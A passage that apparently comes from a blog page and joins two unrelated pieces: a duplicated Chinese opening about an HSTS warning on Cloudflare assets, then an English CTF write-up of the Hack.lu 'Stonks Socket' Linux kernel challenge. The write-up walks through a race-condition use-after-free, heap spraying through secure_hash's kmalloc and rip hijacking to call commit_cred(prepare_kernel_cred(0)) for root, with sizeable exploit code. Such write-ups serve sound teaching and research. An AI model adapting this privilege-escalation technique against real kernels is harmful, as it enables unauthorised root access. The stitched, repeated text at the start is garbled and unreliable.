一次HSTS警告的排查
最近访问博客发现页面显示不正常,F12查看网络情况后发现cloudflare加载的静态资源出了问题,具体表现为浏览器出现HSTS警告,使用socks5代理时正常(使用socks5代理时,DNS查询也是用的socks5代理):
最近访问博客发现页面显示不正常,F12查看网络情况后发现cloudflare加载的静态资源出了问题,具体表现为浏览器出现HSTS警告,使用socks5代理时正常(使用socks5代理时,DNS查询也是用的socks5代理):
Last weekend we played Hack.lu CTF and got 5th place. I am quite busy recently so I only solved one challenge: Stonks Socket, and I think it is quite interesting and worthy to do a writeup.
0x00 OverviewIn this challenge we need to exploit Linux kernel. In the kernel module, tcp_prot.ioctl of TCP socket is written to self-defined function stonks_ioctl, and sk_prot->recvmsg of TCP socket is written to self-defined function stonks_rocket inside one of the handlers in stonks_ioctl. The vulnerability is a use-after-free caused by race condition: sk_user_data field of struct sock is fetched before blocking in stonks_rocket and can be freed while blocking, and one of its function pointer field will be called after blocking. Therefore, we perform heap spray to control its function pointer field so to control rip in kernel mode. Since SMEP is not enabled, we can execute shellcode in user-space memory to call commit_cred(prepare_kernel_cred(0)) and get root privilege.
0x01 VulnerabilitiesThere are actually 3 vulnerabilities in this challenge, but I found other 2 not useful for exploitation:
To trigger stonks_ioctl, we just need to call ioctl using connfd returned by accept function; after calling ioctl(connfd, OPTION_CALL, &a) we can trigger stonks_rocket via recv function using connfd.
Trigger UAFAs briefly mentioned above, we need to firstly call OPTION_CALL command of ioctl on connfd.
arg_t a = {4, 0, 0x13371337, 0}; printf("%d\n", ioctl(connfd, OPTION_CALL, &a));Then we create a thread, immediately followed by a recv function called on connfd that fetches sk->sk_user_data and blocks the main thread.
pthread_create(&thread, NULL, client_write, &args); // ... recv(connfd, buf, sizeof(buf), 0);Inside thread function, sleep(1) is called to ensure recv function in main thread is blocked first. Then ioctl(connfd, OPTION_PUT, NULL) is called to free sk->sk_user_data, and some data is sent to server via client file descriptor to resume recv function blocked in main thread.
write(args->clientfd, "20192019", 8); Heap SprayThis is actually the part that got me stuck for longest time. I firstly considered to use universal heap spraying, but userfaultfd is not available due to kernel configuration. Then we tried to find a 32-byte kernel object allocated on heap that can allow user to control the last 8 bytes (e.i. function pointer field), and we indeed found this. However, it seems that corresponding protocol is not supported in this kernel build.
Finally, I still decided to use kmalloc called in function secure_hash shown below.
//load data while (i) { size = h->length * sizeof(u64); buf = kmalloc(size, GFP_KERNEL); i = copy_from_iter(buf, size, msg); // copy data sent from client to buf for (j = 0; j < i; j++) { hash[j] ^= buf[j]; } kfree(buf); }When h->length is 4, 32-byte chunk will be allocated and filled with user-controlled data, which is exactly pointed by sk->sk_user_data; and even if the chunk is freed, last 8 bytes will still remain to be our own data. Although this seems to be great, when while loop breaks, the buffer is filled with all zeros. After some debugging, I realized that kmalloc here would clear the memory chunk allocated to zeros. The loop exit condition is i == 0, so this means copy_from_iter should return 0 for the last time loop body is executed. copy_from_iter always returns the number of bytes that is copied to the destination buffer. Combining these two, this means in the last run of the while loop, the buffer will be filled with zeros and no input is read into the buffer, so s_sk->hash_function is also NULL.
Therefore, we need to let main thread call sk->sk_user_data->hash_function at the same time when secure_hash is still executing that while loop. This can be done by creating a new thread to run secure_hash function. Initially I was spending a lot of time in trying to let copy_from_iter block by using the stack overflow (e.i. third bug mentioned above) to tamper struct iov_iter. However, this does not work because if we need to trigger the stack overflow, h->length is no longer 4 so that size allocated is not 32 bytes, which means we cannot allocate to chunk pointed by sk->sk_user_data.
The final approach is to let the while loop run many times by sending a large chunk of data, and hope when executing the while loop, the function pointer field is called. It turns out the probability of success is not low if parameter is tuned properly. The important thread functions are shown below.
void* spray_32(void* fds_) { intptr_t fds = (intptr_t)fds_; int connfd2 = (int)fds; int connfd = fds >> 32; printf("free %d\n", ioctl(connfd, OPTION_PUT, NULL)); // we free chunk here after thread creation, // because thread creation will consume 32-byte chunk while (1) { // `recv` large data to let this thread enter the while loop at secure_hash recv(connfd2, a, sizeof(a), 0); } return NULL; } void * client_write(void * args_) { struct th_arg* args = (struct th_arg*)args_; sleep(1); pthread_t thread2; pthread_create(&thread2, NULL, spray_32, \ (void*)(intptr_t)(args->connfd2 + ((int64_t)args->connfd << 32))); // stop this thread for a while before resuming main thread, // otherwise main thread will call function pointer field too soon, // before while loop at secure_hash is entered in another thread, // loop bound is tuned to be 50 so that success rate is quite high for (int i = 0; i < 50; ++i) { sched_yield(); usleep(1); } write(args->clientfd, "20192019", 8); puts("client_write exits"); return NULL; }The large chunk of data is sent before via send(*clientfd, a, sizeof(a), 0), where a is initialized to be pointers to our get_root function, which obtains kernel address stored on stack and calls commit_cred(prepare_kernel_cred(0)).
for (size_t i = 0; i < sizeof(a) / sizeof(uintptr_t); i++) { a[i] = (uintptr_t)get_root; }One interesting point to note is that rip hijacked is sometimes shift of &get_root (e.g. &get_root << 8). Possible reason is that recv does not necessarily stops at alignment of 8, so that future alignment might be broken.
The full exploit is here.